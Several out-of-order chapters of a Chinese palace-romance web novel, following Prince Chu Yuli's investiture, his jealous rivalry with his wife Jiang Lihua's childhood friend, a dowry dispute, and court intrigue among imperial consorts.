鲁卿秋瞧着楚明暄走回来,眼底闪过一丝失望,还以为这一次能让皇上彻底厌弃这蠢货呢。
感受到鲁卿秋的目光,楚明暄光明正大的看了回去,与鲁卿秋目光对视那一眼,他冷笑,“就算你再怎么渴望得到本王,本王依旧不会看你一眼。”
鲁卿秋两眼一翻,谁愿意要你这种脏黄瓜!
我还怕被染上脏病呢。
......
楚御礼和姜黎婳站在大殿左边最前方,接着是楚明暄夫妇,然后是楚巍澜与楚浩泽后面是两位公主,后面是冯胜文为首的文官。
右边为首的是太傅沈遇知和承恩公,再往后就是以镇国侯为首武将。
再往后的就是三品以下的官员。
吉时到。
随着礼部官员的宣布,封王大典正式开始。
皇帝接受百官的朝拜,唤众卿平身。
礼部礼赞官应道楚御礼跪在大殿中央,身着黄色龙袍的皇帝看着跪在大殿中央的儿子,一向严肃的脸上露出笑意,他道:“宣读诏书。”
礼部官员拿出封赏诏书宣读,内容大致和楚御礼的封王圣旨差不多,接着就是授金册金印。
皇帝瞧着如今越发丰神俊朗的儿子,心情大好,他从龙椅上站起来,亲自拿起金冠走到楚御礼面前,替儿子取下他都上的金冠然后为他冠上专属于亲王的王冠,接着欣慰的拍了拍楚御礼的肩膀,然后擦了擦有些灼热的眼眶转身大步离开。
过去十几年因为儿子的身体原因,他刻意疏远,以后他会好好补偿自己这个曾经被他最看重的儿子。
楚御礼心头也有些动容,他跪在地上把金册和金印递给一旁的太监,牵着姜黎婳一同跪在地上谢恩。
皇后看着下面这一幕,她抬手擦了擦眼泪,她以为这一辈子可能都看不到儿子封王了,即便是封王,可能都是儿子死后追封,没成想,因为娶了一个儿媳妇,儿子不但重新得到了自己父皇的重视,还有了今日这盛大的封王盛典。
贤妃也跟着擦眼泪,她坐在皇后身边低声道:“若明瑶看到她大皇兄如今这样的话,应该会很高兴吧。”
皇后闻言眼神暗淡了一些,她回眸看了看贤妃,见贤妃也落泪了,她叹了口气,伸手捏住贤妃的手,“别难过了。”
“臣妾没有难过,臣妾是开心。”贤妃看着此时正相视而笑的夫妇二人,她微微一笑,“臣妾在替御王殿下开心,受了十多年的苦,如今总算是苦尽甘来了。”
一旁的淑妃和慧妃两人听到她们的对话,脸上的表情十分精彩,慧妃明晃晃地摆明自己不高兴,而淑妃呢,明明心情极差,却要表现得十分开心,表情瞧着实在是有些扭曲了。
倒是一旁一个容貌上乘气质婉约的妃子笑着说了句,“御王和御王妃二人还真是郎才女貌,我这一眼望去啊,就属他们夫妇最好看。”
皇后回眸看了她一眼,笑道:“德妃只看脸了。”
德妃掩唇轻笑,“御王殿下即便是以往生病也是所有皇子里面最好看的,如今身子大好了,其他人啊,都比不上他了。”
她说罢看了楚浩泽一眼,摇头,“即便四皇子是臣妾亲生的,臣妾也觉得他比不上御王。”
皇后在知道淑妃是个两面三刀的人之后,对这些妃子的话就不全都听了,不过此时听到德妃夸自己的儿子,她依旧高兴,“你啊,若四皇子听了去,怕是要问你这怪谁了。”
“如今御王身子大好了,皇后娘娘的性子也变回去了。”德妃轻笑,“如今都学会打趣臣妾了,臣妾承认了,臣妾没您好看,四皇子长得没有御王那般两眼,自然怪不到陛下身上的。”
皇帝刚走回来就听到这话,笑着道:“你们在说什么?”
“说陛下您丰神俊朗,皇子们都体了您才个个容貌非凡呢。”玉嫔笑着道。
皇帝:“.......”
早知道不多嘴了。
那几个儿子,除了老大,他觉得没有一个体他的!
说那几个儿子体他的,绝对是在碰瓷!
第127章 淑妃出手
八月迎来了秋风,夏日的燥热在初秋已经不怎么感受得到了,秋日的清晨还会让人觉得有些凉意,楚御礼前几日特意让裁缝来给姜黎婳量了尺寸,制作秋日的衣裳。
今天是楚御礼的封王大典,夫妇两人早早就起来了,楚御礼今天穿的是暗红色的蟒纹朝服,长发全部挽起用金冠固定,他没有刻意打扮,却依旧丰神俊逸,气质非凡。
坐在梳妆镜前由知夏梳妆的姜黎婳从镜中看到他忍不住多看了两眼,她不是第一次看到他穿红色,但今日这暗红色的蟒纹朝服又给他添了几分庄重,看上去严肃又冷峻,让她忍不住想去冒犯...
楚御礼感受到她的目光,抬眸和镜中的她对视,接着他展袖转身,笑问,“娘子觉得为夫今日这一身,如何?”
姜黎婳偷看被抓了个现行,她欲盖弥彰地收回眼神,“王爷长得好看,自然穿什么都好看。”
“唉。”楚御礼摇头一叹,“我就知道娘子在敷衍为夫。”
姜黎婳回头,“嗯?”
知夏已经为她完成了妆容,她额间点着花钿,眼角用细小的珍珠作为点缀,妩媚中又带着一丝丝娇柔,让人忍不住想欺负一下。
楚御礼看着她这妆容,喉间滚动了一下,到嘴边的话也被他抛之脑后,他抿了抿嘴伸手拿起首饰盒里面的孔雀金钗和步摇亲自为姜黎婳戴上。
“娘子你真好看。”他蹲下身子,拉着她的手,声音沙哑,“真不想让你参加今日的封王大典。”
想到自己这么好看的娘子今天会在大殿上被人盯着看,他就觉得浑身不舒服,娘子是他一个人的,不想给别人看!
姜黎婳不知道某人是一个占有欲极强的人,听他这么说还以为他又在逗自己开心,她笑着从楚御礼手中抽回自己的手,选了一对流苏耳坠的金耳环戴在耳朵上,“原来在王爷心中我这么不重要,连你的封王大典我都不能参加。”
她说罢叹了口气,“既然王爷不想让我去见证你人生重要的时刻,那我不去便是。”
“谁说不想让你看的!”楚御礼急了,他站起来一把搂着姜黎婳的腰让她贴着自己站起来,“我就是不想让别人盯着你看,你是我的。”
姜黎婳:“.......”
这人还正常吗?
“娘子,不如咱们不去参加这劳什子的封王大典了好不好?”楚御礼把头埋在姜黎婳的颈窝,灼热的气息打在她的脖子上,惹红了一片。
站在一旁打算帮姜黎婳更衣的知夏悄无声息地退了下去。
出去之后她狂抚自己的手臂,妈呀,她刚刚差点被肉麻死了!
外人一定不知道他们王爷是这种人!
姜黎婳也没想到楚御礼这人竟然这么不靠谱,他还想放皇帝的鸽子不去封王大典了?
“王爷,别人想要一个封王大典还没有呢,你真的不想去参加?”姜黎婳双手用劲推开抱着自己的楚御礼,“今天肯定有好戏要上演的,不想看?”
楚明暄因为大婚之日闹出丑事而虐杀婢女的事情在京城闹得沸沸扬扬,把皇帝气得直接取消了他的封王大典。
而且她装有孕装了这么久,今天可能就会有不小的收获,她怎么能不去参加封王大典呢。
不去封王大典,几个月之后,她要怎么变出一个好大儿来?
说起这件事情姜黎婳还是有些奇怪的,她和楚御礼成亲这么久一直都有夫妻之实,而且楚御礼这人每次都特别勤奋的要来好几次,怎么她的运气就这么好,一直不怀孕呢?
姜黎婳花了一些时间说服这占有欲极强的大狗,然后大狗亲自伺候她穿上了深绿色的云霞凤纹朝服。
明明是比较深沉显老的颜色,但穿在姜黎婳身上却丝毫不违和,反而给人一种眼前一亮的新鲜感。
楚御礼看着每天都可以给自己新惊喜的娘子,心想以后可以多给娘子准备一些不同地方的衣服和首饰,让她每天换着风格穿...
穿给他看!
想到这么好看这么多变的娘子是自己的,别人只能看的份儿,楚御礼心情又好了...
他牵着姜黎婳大步往王府外走去,知夏和昭临等人根本追不上...
姜黎婳瞧着先前不愿意让自己出门,现在又脚下生风的人,忍不住问,“王爷这么着急做什么?”
楚御礼眉眼带笑,“当然是去炫耀了,这么好看的人是我的娘子,旁人只有羡慕嫉妒的份儿!”
姜黎婳摸了一下自己的小腹,轻声道:“但妾身如今有了身孕,动作不能太大。”
“是啊王爷,您好歹体谅一下咱们王妃呀。”知夏心惊胆跳地追上来,不怕死的抱怨了一句。
楚御礼睨了知夏一眼,心想看在你如此忠心我娘子的份上,原谅你的以下犯上。
他弯腰一把抱起姜黎婳,“这样行了吗?”
姜黎婳脸颊羞红,“王爷,被人瞧见成何体统!”
“我疼娘子就是最大的体统。”楚御礼说罢抱着姜黎婳上了马车。
太庙。
今日封王大殿在这边举行,皇上下令文武百官包括后宫嫔妃都过来观礼。
礼部的人早早就过来祭拜天地了,只待吉时和主角到了,就可以正式开始走封王流程。
楚明暄站在人群最前方看着庄严的仪式现场,他气得双手捏得死死的,真没想到那短命鬼在死前竟然还能有如此风光的封王大典!
而自己不但只是一个郡王,还是一个需要约束好自己的郡王!连一个正式的封王大典都没有!
而这一切的罪魁祸首...
楚明暄阴沉地看了刑部尚书蓝天群一眼,都是这老匹夫的好孙女害他变成这样子的!苏清欢那个贱货和苏家如今已经完了,蓝家...他一定不会放过蓝家的!
听说前两日楚巍澜那个蠢货还去给蓝家那个贱婢求情了,说什么她也是被苏清欢蒙蔽的,他忘了谁才是他的亲人了吗?
竟然去帮一个害了他兄长的人求情?简直眼瞎!
这些人他是一个人都不会放过的!
楚明暄胡思乱想之际忽然感觉周围一下子安静了,他收回思绪,转身朝身后看去,原本安静的场面一下变得嘈杂起来,与镇国侯府和承恩公府交好的官员上前把楚御礼夫妇团团围住恭贺。
这个画面刺激到了楚明暄,他转身就要走,却被人扯住了衣袖,他恶狠狠地回头瞪鲁卿秋,“放手!”
“王爷,若你现在走了,父皇应该更生气。”鲁卿秋抬头看向大殿前面与皇后携手走来的皇帝,“你确定能承担离开的后果吗?”
第128章 淑妃的大戏谢幕
赵旭庭听到姜黎婳这声警告,气得差点甩袖离开,但是想到刚刚自己当着御王的面这么说,说不定真的会让这个小气的御王认为小花儿和他有点什么了。
想到自己这话可能会给小花儿带来不好的境遇,他又巴不得扇自己两巴掌,死嘴!说话这么快干什么!
他受伤的看着姜黎婳,夸张的捂着自己的胸口对她吼道,“这么多年了,你竟然还没有把我当成你哥?这么说你喊了我这么多年的哥,都是假的?”
姜黎婳瞧着他夸张的模样,总算是舒了口气,还好这人还算正常,刚刚他说的那话,真的差点让她以为赵旭庭对她怀有什么不该有的心思了。
看到赵旭庭总算是恢复了平时的模样,姜黎婳放松的喝了一口茶,撇嘴道:“我喊你一声哥,你还真把自己当哥了啊?你可别忘了你是我哥哥的学生,若真乱起来,你还得喊我一声师姑...”
“你住口吧,吃都堵不住你的嘴了吗?”赵旭庭狠狠地翻了一个白眼坐下闷闷的吃饭喝酒。
一直好整以暇的看着两人互动的楚御礼此时笑了笑,“原来赵公子的辈分这么小。”
他伸手牵着姜黎婳的手,不看赵旭庭,自顾自的问姜黎婳,“既然他要喊你师姑,是不是得唤为夫师姑父啊?”
姜黎婳无语,她偏头看着楚御礼,用眼神对他说,你能不能别添乱了?
楚御礼好像看懂了她眼神中的意思,笑着耸了耸肩,他抬眸对赵旭庭举了举茶杯,“本王开玩笑,赵公子别介意。”
赵旭庭冷笑,“御王殿下真会开玩笑,一点都不好笑。”
楚御礼挑了挑眉,她偏头亲昵地贴在姜黎婳耳边低声问,“不好笑吗?我觉得挺好笑的啊。”
赵旭庭:“......”
说话就说话,贴那么近做什么?生怕别人不知道她是你的王妃吗?
姜黎婳感受到楚御礼的呼吸打在自己的耳朵上,她脸颊微红,轻轻地推了推他的脸,“正经点。”
当着外人的面还这么黏人。
楚御礼被她这么一推,不但没有坐直身子,反而弹回去把脸贴在她的肩膀上,伸手抱住她的腰肢,一脸贴慰地说道:“都不是外人,身为兄长的赵公子和身为妹妹的吕小姐看到我们夫妇感情这么好,都会为我们高兴的。”
他目光从旁边两人脸上扫过,笑着问,“二位说是不是?”
吕静雅第一次见人在自己面前这么秀恩爱,她面红耳赤地点头,“是。”
楚御礼轻笑,“你瞧,吕小姐都这么说了。”他捏着姜黎婳柔弱无骨的手指,“都是自己人,咱们就当在家中一样自在就是。”
他抬眸看向没有发表意见的赵旭庭,“赵公子应该也不介意吧?”
“毕竟是在外面,御王殿下还是注意一点影响。”赵旭庭面无表情地又喝了一杯酒。
楚御礼耸肩,“本王与娘子乃是三书六聘明媒正娶的夫妻,夫妻恩爱就算是旁人看了去也是人人乐道,怎么影响不好了?”
他端起酒壶又给赵旭庭倒了一杯,“赵公子莫不是因为年纪大了还没娶妻,嫉妒本王了吧?”
赵旭庭:“......”
姜黎婳无语了,她现在确定了,这人说宴请人家答谢人家之前的出手相助是假,出来炫耀自己有媳妇儿倒是真的了。
倒是吕静雅这时候抬眸看了俊逸的赵旭庭一眼,低声问,“赵公子如今还没定亲吗?”
“我们赵家不兴先成家再立业那一套。”赵旭庭端着酒杯又一饮而尽,他扫了楚御礼一眼,嗤笑,“我也从小就身强体壮无需娶亲冲喜,所以的确还没有定亲。”
姜黎婳:“......”
她确定了,这两人就是八字不合。
有必要这么针锋相对吗?
还有赵旭庭,你是真头铁啊!这位好歹是王爷,说你两句,你忍忍就是了,为什么非要和人争个输赢啊?
现在还讽刺人家身体不好?真不怕死啊?
害怕楚御礼被赵旭庭刺激到,真的把赵旭庭怎么样,她反手握住楚御礼捏着自己手指的手,示意他别往心里去。
楚御礼根本没有生气,不过瞧姜黎婳主动安抚自己,他自然不会拒绝,他暗淡地垂眸,叹气,“唉,生在皇家身不由己,本王自然没有赵公子这种高门独子的快活和肆意还有好运。”
说到这里他又面露庆幸,他偏头看着姜黎婳,被姜黎婳握着的手也慢慢收紧,“不过我也要感激父皇他们为我冲喜,才让我遇到了今生挚爱。”
他深情地看着姜黎婳,“能娶到你为妻,即便是死,我也无憾了。”
“别胡说。”姜黎婳眉头微蹙,“别说什么死不死的。”
楚御礼抬起另一只手抚平她的眉心,颔首,“嗯,不说,以后我会长命百岁,好好保护你们娘儿俩的。”
赵旭庭:“......”
他今天是不是不该过来?
好气!
吕静雅双眼冒星的看着如胶似漆的两人,花痴地感叹,“我看的话本子有画面了!”
姜黎婳有些尴尬地嗔了楚御礼一眼,赶紧松开手从楚御礼手中抽回自己的手,楚御礼笑着给她夹菜,“多吃点,你现在怀了身孕,一个人吃两个人消化。”
姜黎婳:“......”
这是演上瘾了是吧?
楚御礼没看她,而是一边给她布菜,一边问还在对他们俩笑的吕静雅,“什么话本子有画面了?”
“王妃一胞三胎,冷酷王爷狠狠宠!”吕静雅脱口而出。
楚御礼:“......”
姜黎婳:“......”
赵旭庭瞪眼,“什么鬼?”
姜黎婳也一脸好奇,古代写话本子的人都这么前卫了吗?不过一听这名字就想去看,冷酷王爷到底是怎么狠狠宠的?
吕静雅说完之后立刻意识到自己失言了,她尴尬地捂着嘴,半晌之后给自己找补:“我没说御王您冷酷,只是想说您长得好看,婳姐姐有很漂亮,你们两人很相配。”
赵旭庭:“其实你不说话,也没关系的。”
楚御礼轻笑,他亲自给吕静雅斟茶,“说这么多口干了吧?喝点茶继续说。”
他爱听!
特别是赵旭庭不爱听的这些话,他更爱听。
姜黎婳拿着筷子夹菜,“吃饭吧,菜饭都要凉了。”
她偏头去看吕静雅,“你回去之后转告外祖母过两日我登门去看她。”
吕静雅也不敢再说话本子的事情了,听姜黎婳这么说,她点头,“只是这几日姑母时常登门求外祖母原谅,婳姐姐你介不介意到时候会和姑母遇上?”
姜黎婳手上的动作一顿,接着她笑,“那再过些日子去看她老人家。”
第129章 打入冷宫
延禧宫中。
淑妃听到这个小太监的回报,她意兴阑珊摆了摆手,“还以为这次即便不能动了御王,也会有个意外收获,没想到半路居然杀出了这么个程咬金。”
不怎么在淑妃身边伺候的陶嬷嬷此时又在淑妃身侧站着,听淑妃这么说,陶嬷嬷低声道:“只是可惜了我们安排在浮华宫一个眼线而已。”
陶嬷嬷叹气,“咱们安插在各宫中的眼线只有慧妃身边的那个宫女爬到了二等的位置,其他各宫中的都在不重要的位置上,实在是可惜了。”
御王府。
楚御礼那边也很快接到了消息,正与姜黎婳商量着何时宴请赵旭庭的楚御礼闻言轻轻挥手让昭临退下,接着他抬眸看了姜黎婳一眼,“看来咱们都小瞧了这位淑妃娘娘了。”
“是啊,咱们这位淑娘娘还真是不容小觑呢。”姜黎婳有些后怕地抬眸看向一脸轻松的楚御礼,“还好殿下您警惕,不然今天后果不堪设想。”
“还要有娘子你一直以来的提醒,才让我保持警惕。”楚御礼牵着姜黎婳的手,指了一下皇历上的日子,“这日如何,第二天就是封王大典,我们就在这头一天宴请赵公子,较为有诚意。”
姜黎婳瞧着忽然又把注意力转到皇历上的人,轻笑,“这真的是有诚意?”
楚御礼颔首,“那当然。”
他要很有诚意地跟那不知深浅的赵公子好好地炫耀一下自己的地位!然后再好好地炫耀一下自己的王妃!
让他少觊觎不属于自己的人!
时间过得很快,时间一晃就过去了一个月,日子也很快来到了封王大典的前一日。
中间瑾嫔的家族被流放通州,瑾嫔也被赐死,当时涉案的两个宫女也被杖责致死,皇帝又给楚御礼夫妇赏赐了不少好东西作为安抚。
慧妃听到这消息后,又发了好大一通脾气。
值得一说的是三皇子楚巍澜还是从淑妃那里拿了两样压箱底的好东西登门恭贺楚御礼夫妇封王和怀孕,他们夫妇也来者不拒地收了。
而被下了药之后在家中沉寂了一些时日的吕静雅也在听姜黎婳说起要宴请赵旭庭吃饭作为答谢的时候,主动提出与姜黎婳他们一同前去,毕竟那天赵旭庭帮了她...
而且她还迷迷糊糊的记得自己对人家做出了一些出格的举动,今日宴请人家除了好好感谢对方之外,还得为自己所做的举动道歉...
姜黎婳自然没有意见。
她问楚御礼,楚御礼更是求之不得。
他甚至在想,若有可能的话,他还可以暗中当一下推手,促成一段良缘,毕竟这永宁伯府和江南节度使家也算是门当户对了。
聚香楼安静的雅间中,雕花鎏金屏风后面的圆桌旁边坐了四个人,姜黎婳面容带笑地拉着吕静雅介绍赵旭庭,“这位是赵旭庭赵大哥,是江南节度使家的独子,与我情同兄妹,束郡王大婚那日就多亏了他帮忙,你才能安全无虞。”
说起那天,吕静雅就想到自己在药物的作用下做的那些丢脸的事情,她面色羞红的抬眸看了一眼容貌俊逸的赵旭庭一眼,低声道:“那天多谢赵公子了。”
她端起酒杯站起来,“我敬赵公子一杯。”
赵旭庭赶紧站起来道:“喝酒就不必了,不如喝茶吧。”
他是真怕这人喝醉了酒也和那天一样做出不清醒的事情啊...
所以为了安全起见,还是喝茶比较好。
吕静雅有些尴尬地端着酒杯,片刻之后她点头,“那赵公子喝茶,我就喝酒。”
“都是自己人,你也别喝酒了。”姜黎婳把吕静雅手中的酒被取走,换成了茶水,“就以茶代酒吧。”
身着玄色锦衣的楚御礼听到姜黎婳这句自己人,他捏着青花瓷茶杯的手微微一顿,眉头也微不可查地皱了皱,这赵旭庭和他们才不是自己人。
他的手指在青花瓷茶杯的杯沿上轻轻摩擦了一下,接着轻笑着抬眸看了赵旭庭一眼,他端起茶杯站起来,“既然娘子唤赵公子为赵大哥,那本王也不和赵公子客气了,那日多谢赵公子出手相助,为娘子解围,本王也以茶代酒敬赵公子一杯。”
“不敢当。”赵旭庭端着茶水喝了一口,笑意不达眼底,“在下倒是担不起御王殿下这声感谢了。”
他看了姜黎婳一眼,轻笑,“在下与小花儿自小一起长大,我们之间的情谊自然不必言谢,御王殿下也不必代替她来感谢我。”说着他对姜黎婳轻轻一笑,“如今你哥哥不在京城,你举目无亲,若是在王府受了委屈,就去赵府找我,我虽然不如御王殿下有权势,但可以拼尽全力保护你,不至于让你怀了身孕还能遇刺。”
赵旭庭说到这里顿了顿,意有所指地看了楚御礼一眼,沉声道:“更不会在你怀了身孕后还让你独自出行,都不陪着你。”
楚御礼眼睛一眯,坐下伸手揽着姜黎婳的腰肢,接着偏头看着赵旭庭,轻笑道:“赵公子说笑了,本王疼婳儿都来不及,又怎么会让婳儿受委屈,至于那日遇刺的事情...”
他眼神转冷,“也难为赵公子过了这么些日子还记得了,不过那日之后本王也的确不敢让婳儿单独出行了。”
他垂眸温柔地看了一眼姜黎婳平坦的小腹,伸手端起燕窝轻轻吹了吹,体贴的喂到姜黎婳嘴边,轻声道:“毕竟赵公子说得对,她如今怀了本王的孩子,本王应当更体贴更小心才是。”
姜黎婳听着这两人夹枪带炮的话,再垂眸看了一眼喂到嘴边的燕窝,她张嘴巴燕窝吃进嘴里,瞬间觉得索然无味。
这两人是不是气场不和啊?
怎么才第二次见面就跟仇人一样啊?
楚御礼瞧她没有抗拒自己的投喂,他眼神柔和了不少,心头对赵旭庭的怨念都没那么深了。
他又舀起一勺燕窝吹了吹去喂姜黎婳,“再说了,婳儿可是本王唯一的妻子,本王自然会比旁人更关心她的安危。”
赵旭庭现在根本听不进去楚御礼在说什么,只觉得楚御礼给姜黎婳喂东西的画面无比刺眼,他捏了捏茶杯转开目光,沉声道:“御王殿下最好说到做到,若你有一日敢辜负小花儿的话,即便是死,我也会带走小花儿的。”
姜黎婳脸色一沉,冷声道:“赵大哥,话可不能乱说,即便将来王爷真的辜负了我,也是我哥哥替我讨回公道。”
第71章 归还嫁妆
随着姜黎婳的这句话说出来,下面的百姓又是一阵嘈杂,当然这些都是在夸皇室深明大义,说大皇子重情重义,还有说姜黎婳命好的,虽然被苏家认错了亲,但却嫁给了皇室嫡出的大皇子。
“这还不是因为大皇子妃的出生时辰与大皇子乃天作适合,否则也落不到她身上去。”
“对啊对啊,听说皇室娶苏家小姐就是因为生辰八字能给短命的大皇子冲喜!”
“那这说到底,还是这大皇子妃出生时辰选得对!”
“那你们说皇室不休了大皇子妃是不是因为冲喜的缘故?”
“你别说,还真有可能!”
听着下面的讨论声,楚御礼眉头皱了起来,这些人说话怎么那么难听?他们这个意思就是他不休了娘子,是因为怕死?
他沉着脸上前握住姜黎婳白皙的玉手,目光沉沉的从下方看热闹的百姓脸上扫过,沉声道:“大皇子妃虽然是以冲喜的名义嫁给孤的,但孤喜爱她并非因为她是给我冲喜的新娘,我喜爱她是因为她善良、宽容、率真和美丽,孤相信,你们了解过她以后,就会知道孤为何这般喜爱她了。”
楚御礼说完侧眸深深地看着姜黎婳,轻声道:“无论你是谁家的女儿,也无论你嫁给我是否能让我延续生命,我楚御礼此生都只认定了你是我的妻子。”
姜黎婳感觉自己的心像是被什么东西挠了一下,痒痒的,说不出来是什么感觉,但是手却不由自主的握紧了楚御礼宽大的手掌。
她面上带笑,语气很轻,“我很庆幸,能当你的冲喜新娘。”
下面掌声忽然如雷般响起。
站在一旁看着二人相执双手的胡氏,抬手擦了擦眼泪,心想罢了,女儿眼瞎不要外孙女,她要,大不了自己再腆着脸与儿媳妇商量一下,让儿媳妇将来看在自己这个老婆子不曾苛待过她的份上,以后自己若不在人世了,请她帮忙多照顾一下婳儿。
吕氏、苏清欢和苏建明看到这一幕却是完全不同的心情。
吕氏心头闷得很,总感觉有一股气在喉咙里面呼不出来。
苏清欢则嫉妒的发狂,凭什么在京城举目无亲的姜黎婳如今还这么受楚御礼的重视!那些百姓也瞎了眼吗?明明听说了姜黎婳只是江南商户之女,竟然还鼓掌祝福他们?
这些人都疯了!
苏建明总觉得隐隐有一种不好的预感...
就在百姓们一个接着一个对楚御礼和姜黎婳夫妇说吉利话的时候,一直没有露面的昭临忽然走到了两人身后,对两人低声道:“主子,大皇子妃,嫁妆已经抬过来了。”
姜黎婳往他身后看过去,大皇子府内的仆从正抬着十几个箱子往这边走,走在前面的张嬷嬷端着一个托盘,里面是两张嫁妆单子。
看到这一幕,吕氏和苏建明心头忽然闪过一丝不好的预感。
张嬷嬷把托盘端到姜黎婳面前,姜黎婳伸手拿起里面的嫁妆单子,转身看向吕氏和苏建明,“既然本宫不是二位的女儿,二位为我陪嫁的嫁妆,我也应该悉数奉还。”
苏建明原本维护脸面拒绝她归还嫁妆的,毕竟苏家根本没有陪嫁多少。
但是想到自己还欠着地下钱庄三万两银子,每个月还得还三千两的月息,他又只能拉下面子,等吕氏收回嫁妆。
吕氏看着姜黎婳手中的嫁妆单子,往前走了一步,沉声道:“大皇子妃就不必念嫁妆单子了,我相信你看不上我们苏家那点嫁妆。”
“自然不用念,毕竟苏家给我陪嫁的两套金头面,念出来也是丢苏家的脸。”姜黎婳说着把那张写了两副金头面的嫁妆单子递给了吕氏,轻声道:“真庆幸吕夫人的亲生女儿没回来,不然看到自己的娘亲在自己和她姐姐之间天差地别的待遇,不知该多伤心绝望啊。”
她说完不顾吕氏黑掉的脸,用自己和吕氏才能听到的话说,“毕竟我也是第一次见不待见亲生女儿,反而把别人的女儿当宝一样疼的母亲。”
吕氏眼眶骤然通红,她抬眸怒瞪姜黎婳,嘶声道:“这时候你还是要我难堪!”
“吕夫人,这个难堪不是你自找的吗?”姜黎婳垂眸嘲讽的看着手中的嫁妆单子,低声道:“难道不是你只给我准备了两套金头面当嫁妆吗?娘。”
原本张嘴想骂姜黎婳的吕氏听到她这声轻飘飘的娘,瞬间所有的话语全部哽在喉咙说不出来。
她抬眸与姜黎婳对视,哑着声音问,“让我难堪,你心头就好受了?”
姜黎婳轻轻摇头,“我不想让你难堪,是你自己觉得难堪。”
苏清欢上前拉着吕氏,目光沉沉的瞪着姜黎婳,沉声道:“大皇子妃,事情别做得太绝了!俗话说凡事留一线事后好相见!”
“我就是为了不留那一线,才这样做的。”姜黎婳没看苏清欢,她抬眸看着吕氏,“我这是在斩断我们之间所有的可能性,我就是要让吕夫人看清楚,你是如何待我的,不给你后悔的机会,也不给我心软的可能。”
她说完不再看吕氏和苏清欢,转而拿着另一本嫁妆单子走到胡氏面前,“除了那两套头面,其他的都是您为我准备的,这些我...”
“无论你是谁,无论他们是否认错,你都是我胡思维的外孙女,我永宁伯府永远是你的家。”胡氏先姜黎婳一步把自己的心里话说了出来,她上前握着姜黎婳的手轻声道:“无论你是不是他们苏家的孩子,但你是我的孙女,这些嫁妆就是祖母给你准备的,祖母不要你退回来。”
原本打算把母亲那一部分嫁妆一起要回来的吕氏,从听到姜黎婳那些话之后,就愣在了原地,此时更是完全没有把胡氏的话听进去。
苏清欢听胡氏要把那些价值不菲的东西都给姜黎婳当嫁妆,使劲的拽了拽吕氏,见吕氏没有反应,她又去看苏建明,“爹爹!”
苏建明怔了怔,他爱面子,不想出面,但想到自己欠下的银钱,又不得不上钱对吕氏道:“你去劝劝岳母,姜黎婳嫁给了大皇子什么都不缺,哪儿还需要什么嫁妆傍身?”
吕氏愣了愣,她错愕的偏头看了苏建明一眼,好半晌之后才道:“那些嫁妆是母亲准备的,母亲性子向来倔强,她决定的事情谁能更改?”
苏建明闻言狠狠地瞪了吕氏一眼,转身大步离开。
吕氏看了一眼还拉着姜黎婳的手安慰的胡氏,死死的揪着帕子,也转身离开。
明明是姜黎婳要与她断绝关系的,母亲竟然还怪自己!真是被姜黎婳蒙了心!
苏清欢瞧苏建明和吕氏都离开了,只能不服气的瞪了姜黎婳一眼之后,跟着离开。
第31章 殿下想要也得忍忍
吕氏知道自己想让姜黎婳去求母亲应该有些困难,但是为了儿子的前程她还是打算试试。
“先不去墨宝斋了,今日咱们去珍宝阁,给你选些首饰。”吕氏爱惜的看着苏清欢,“你如今身为国公府的世子夫人,应酬应该不少,多备些头面是好的。”
“还是母亲对女儿最好了。”几人其乐融融地上了马车。
丝毫不知道有人把主意打到自己头上的姜黎婳使劲打了两个喷嚏。
刚交代完谢荣后事回来的楚御礼进屋就听到姜黎婳的两声喷嚏,他两步走过来,语气担忧,“着凉了?是不是感染风寒了?要不要传太医过来看看?”
姜黎婳听着他那但有的语气,好笑的抬头看了他一眼,“殿下莫不是忘了我是什么身份了?”她拉着楚御礼在自己身边坐下,“应该是鼻子进了灰尘,才会打喷嚏,殿下别担心。”
楚御礼也觉得自己关心则乱了,他讪讪的摸了摸鼻子,“是为夫大惊小怪了,娘子莫怪。”
“谢管家的后事都安排好了?”姜黎婳没有再继续那个话题。
说起谢荣,楚御礼的眼里闪烁着冷厉的寒光,他道:“安排好了,这盛大的葬礼一定会让他坠入无间地狱,永不超生!”
姜黎婳没有说话,只是伸手轻轻拍了拍他的背,让他不要气坏了自己的身体。
楚御礼趁机把头靠在姜黎婳的肩膀上,神色恹恹的问,“娘子你会不会觉得为夫太坏了?”
“不会,我反而觉得这才正常。”姜黎婳反手摸着楚御礼的脸,轻声道:“殿下你又不是佛子,为何不能报复?若殿下轻而易举就原谅了伤害自己的仇人,那才是脑子不对。”
楚御礼眼中寒光退去,取而代之的是炽热,他盯着姜黎婳白皙的天鹅颈,声音暗哑,“那娘子喜欢为夫这样吗?”
姜黎婳一怔,喜欢?
喜欢他睚眦必报?
她觉得睚眦必报比以德报怨好太多!
姜黎婳轻轻点头,“嗯。”
楚御礼立刻有了动力,他头一动,在姜黎婳的脖子上啄了一下,姜黎婳惊呼侧首,嘴唇正好抵上楚御礼靠过来的薄唇,两人眼睛一瞪,姜黎婳下意识往后退,楚御礼则一把勾住她脖子,长舌直入...
青天白日...
姜黎婳抗拒的推了推楚御礼,而对方已经好几日未曾碰过自己心心念念的娘子了,此时眼睛早已被欲念蒙蔽,根本无心其他,理智也全都丢到了一边。
姜黎婳被他推到软榻旁边,后腰抵到矮几上,疼得她眼泪一下就流了出来,正忘我的楚御礼感受到她脸上的湿意,意识瞬间回笼,他猛地退开,看着眼前流泪的美人,一时手足无措..
“娘子...”楚御礼伸手想去拉姜黎婳,但又怕姜黎婳抗拒,他甚至不敢去看姜黎婳的眼睛,害怕从她眼中看到厌恶。
姜黎婳看到楚御礼眼中的不安,又注意到他悬在半空不敢伸过来的手,她叹了口气,这男人竟然比她还容易没安全感。
她一把抓住楚御礼的手,借着他的力气坐起身子,接着娇俏的瞪了楚御礼一眼,嗔道:“青天白日的殿下就乱了方寸,谢管家刚死,这时候若传出殿下白日宣淫的事情,殿下的名声还要不要了?”
瞧着楚御礼变红的耳根,姜黎婳嘴角带起笑意,她压低声音道:“殿下即便想要,也得忍忍,至少得等到天黑入寝之后吧?”
楚御礼张了张嘴,他怎么感觉自己在娘子眼中变成了只想着男女之事的登徒子了?
他想解释,但是想着自己的确与她在一起的时候就想和她亲近,他便忍了。
不过现在他恢复清醒了,也想起了先前姜黎婳的抗拒,他心头暗暗告诫自己不能因为自己爽快,让她不舒服,便嘴硬的说道:“娘子你说的是,现在谢管家刚死,若此时为夫忍不住,传出咱们在他刚死这两日就在房中欢好的话,怕是被人说闲话。”
姜黎婳诧异的看了他一眼,不相信地问,“殿下能忍得住?”
她往下扫了一眼,他的衣裳明明拱起来了。
